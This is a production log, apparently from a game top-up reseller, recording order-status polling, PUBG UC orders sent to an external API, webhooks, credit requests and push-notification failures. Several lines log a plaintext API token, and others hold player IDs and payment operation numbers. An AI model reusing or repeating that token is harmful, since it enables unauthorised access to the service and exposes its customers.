[2026-03-24 19:48:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"chunk_number":1,"processed":2,"errors":0,"total_operations":2,"total_orders":2,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:48:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"total_processed":2,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:48:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"processed":2,"errors":0} 
[2026-03-24 19:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"processed":2,"errors":0} 
[2026-03-24 19:48:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"orders_count":3,"order_ids":["ORD-r6m8fI-1774370780","ORD-NZdO0-1774370779","ORD-5PrCXE7-1774370866"]} 
[2026-03-24 19:48:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141} 
[2026-03-24 19:48:01] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Wc0P-1774370781","operation_id":164141,"orders_count":3} 
[2026-03-24 19:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5PrCXE7-1774370866","operation_id":164142} 
[2026-03-24 19:48:01] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140} 
[2026-03-24 19:48:01] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 19:48:01] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:48:01] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"count":1} 
[2026-03-24 19:48:01] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"count":1} 
[2026-03-24 19:48:01] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"user_id":951,"notification_type":"order_approved","reference_id":179256} 
[2026-03-24 19:48:01] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:48:01] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:48:01] production.INFO: Batch update completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"processed":1,"errors":0} 
[2026-03-24 19:48:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"processed":1,"errors":0} 
[2026-03-24 19:48:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"L4AByUOacp6CvCfz4OzRA5CeJ3DGyg5s","execution_time":"2026-03-24 19:48:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140} 
[2026-03-24 19:48:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1320  
[2026-03-24 19:48:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1320  
[2026-03-24 19:48:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 951  
[2026-03-24 19:50:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02"} 
[2026-03-24 19:50:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","total_operations":2,"sites_count":1} 
[2026-03-24 19:50:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-r6m8fI-1774370780","ORD-5PrCXE7-1774370866"]} 
[2026-03-24 19:50:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:50:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:50:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5PrCXE7-1774370866","operation_id":164142} 
[2026-03-24 19:50:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140} 
[2026-03-24 19:50:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 19:50:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"processed":0,"errors":0} 
[2026-03-24 19:50:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"9w51YHYmrIpsOdzz7EDQI4QJLI4hcqne","execution_time":"2026-03-24 19:50:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140} 
[2026-03-24 19:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:50:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 19:50:02] production.INFO: Executing GetProducts task...  
[2026-03-24 19:50:04] production.INFO: async() رجع: true  
[2026-03-24 19:50:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 19:50:04] production.WARNING: Product with ID 395 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 19:50:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 19:50:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 19:51:18] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"700.0","mainamount":"700","operation_number":"158656271","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php1mhrdfn0fem38jfakXG"}},"user_id":212} 
[2026-03-24 19:51:20] production.INFO: Constructing job for order: 179261  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 19:51:20] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 19:51:20] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18688,"user_id":212,"amount":700.0,"admins_notified":7} 
[2026-03-24 19:51:23] production.INFO: Handling job for order: 179261  
[2026-03-24 19:51:23] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:51:23] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:51:23] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=ec235e6f-41dd-443f-8527-153b7a920b3e&Player_ID=51525396780  
[2026-03-24 19:51:23] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=ec235e6f-41dd-443f-8527-153b7a920b3e&Player_ID=51525396780","has_body":false} 
[2026-03-24 19:51:24] production.INFO: Operation sent successfully {"operation_id":164143,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-OUHU-1774371084","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:51:24"}},"processed_data":{"order_number":"ORD-OUHU-1774371084","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 19:51:34] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-OUHU-1774371084","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:51:34] production.INFO: Processed webhook data (normalized) {"id":"ORD-OUHU-1774371084","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:51:34] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:51:34] production.INFO: SendAcceptReject: Notification queued {"user_id":107,"notification_type":"order_approved","reference_id":179261} 
[2026-03-24 19:51:34] production.INFO: Order updated successfully. Order ID: 179261, Status: completed  
[2026-03-24 19:51:34] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-OUHU-1774371084","status":"completed","codes_count":0} 
[2026-03-24 19:51:36] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 107  
[2026-03-24 19:52:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03"} 
[2026-03-24 19:52:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","total_operations":2,"sites_count":1} 
[2026-03-24 19:52:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-r6m8fI-1774370780","ORD-5PrCXE7-1774370866"]} 
[2026-03-24 19:52:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:52:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 19:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-5PrCXE7-1774370866","operation_id":164142} 
[2026-03-24 19:52:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140} 
[2026-03-24 19:52:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 19:52:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140,"processed":0,"errors":0} 
[2026-03-24 19:52:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"50CaGFURa36RxwbgwQfa1KbWumqsywjK","execution_time":"2026-03-24 19:52:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140} 
[2026-03-24 19:52:42] production.INFO: SendAcceptReject: Notification queued {"user_id":125,"notification_type":"order_rejected","reference_id":179260} 
[2026-03-24 19:52:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:52:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 125  
[2026-03-24 19:53:53] production.INFO: Constructing job for order: 179262  
[2026-03-24 19:53:54] production.INFO: Handling job for order: 179262  
[2026-03-24 19:53:54] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:53:54] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:53:54] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=d8dafacc-a1d9-48d7-a793-cc5e1e8cea52&Player_ID=52183632408  
[2026-03-24 19:53:54] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=d8dafacc-a1d9-48d7-a793-cc5e1e8cea52&Player_ID=52183632408","has_body":false} 
[2026-03-24 19:53:55] production.INFO: Operation sent successfully {"operation_id":164144,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-zsZLHez-1774371235","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:53:55"}},"processed_data":{"order_number":"ORD-zsZLHez-1774371235","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 19:54:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01"} 
[2026-03-24 19:54:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","total_operations":3,"sites_count":1} 
[2026-03-24 19:54:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-r6m8fI-1774370780","ORD-5PrCXE7-1774370866","ORD-zsZLHez-1774371235"]} 
[2026-03-24 19:54:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 19:54:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 19:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-r6m8fI-1774370780","operation_id":164140} 
[2026-03-24 19:54:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144} 
[2026-03-24 19:54:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"processed":1,"skipped":2,"updates_prepared":1} 
[2026-03-24 19:54:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 19:54:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"count":1} 
[2026-03-24 19:54:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"count":1} 
[2026-03-24 19:54:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"user_id":302,"notification_type":"order_approved","reference_id":179259} 
[2026-03-24 19:54:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 19:54:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 19:54:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"processed":1,"errors":0} 
[2026-03-24 19:54:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144,"processed":1,"errors":0} 
[2026-03-24 19:54:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"tK6w6Ut5Tr9ZQ6HmdFrVJdU9GKZhrooS","execution_time":"2026-03-24 19:54:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zsZLHez-1774371235","operation_id":164144} 
[2026-03-24 19:54:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 302  
[2026-03-24 19:54:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-r6m8fI-1774370780","status":"cancelled","notes":["Operation failed/cancelled via status check"],"codes":[]}} 
[2026-03-24 19:54:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-r6m8fI-1774370780","status":"cancelled","codes":[],"notes":["Operation failed/cancelled via status check"]} 
[2026-03-24 19:54:07] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 19:54:07] production.INFO: SendAcceptReject: Notification queued {"user_id":314,"notification_type":"order_rejected","reference_id":179255} 
[2026-03-24 19:54:07] production.INFO: Order updated successfully. Order ID: 179255, Status: rejected  
[2026-03-24 19:54:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-r6m8fI-1774370780","status":"rejected","codes_count":0} 
[2026-03-24 19:54:07] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-zsZLHez-1774371235","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:54:07] production.INFO: Processed webhook data (normalized) {"id":"ORD-zsZLHez-1774371235","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:54:07] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:54:07] production.INFO: SendAcceptReject: Notification queued {"user_id":659,"notification_type":"order_approved","reference_id":179262} 
[2026-03-24 19:54:07] production.INFO: Order updated successfully. Order ID: 179262, Status: completed  
[2026-03-24 19:54:07] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-zsZLHez-1774371235","status":"completed","codes_count":0} 
[2026-03-24 19:54:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 19:54:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 19:54:08] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 659  
[2026-03-24 19:54:35] production.ERROR: FCM send failed for token 78: Requested entity was not found.  
[2026-03-24 19:54:35] production.ERROR: FCM send failed for token 97: Requested entity was not found.  
[2026-03-24 19:54:35] production.ERROR: FCM send failed for token 126: Requested entity was not found.  
[2026-03-24 19:54:49] production.INFO: Constructing job for order: 179263  
[2026-03-24 19:54:50] production.INFO: Handling job for order: 179263  
[2026-03-24 19:54:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 19:54:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 19:54:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=178d8aa0-8d3d-4338-9a50-c288a18d26c2&Player_ID=51993531563  
[2026-03-24 19:54:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=178d8aa0-8d3d-4338-9a50-c288a18d26c2&Player_ID=51993531563","has_body":false} 
[2026-03-24 19:54:51] production.INFO: Operation sent successfully {"operation_id":164145,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-FBb-1774371291","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 19:54:51"}},"processed_data":{"order_number":"ORD-FBb-1774371291","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 19:55:01] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-FBb-1774371291","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 19:55:01] production.INFO: Processed webhook data (normalized) {"id":"ORD-FBb-1774371291","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 19:55:01] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 19:55:01] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":179263} 
[2026-03-24 19:55:01] production.INFO: Order updated successfully. Order ID: 179263, Status: completed  
[2026-03-24 19:55:01] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-FBb-1774371291","status":"completed","codes_count":0} 
[2026-03-24 19:55:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 19:55:03] production.INFO: Executing GetProducts task...  
[2026-03-24 19:55:03] production.INFO: بدأت مهمة GetProducts  
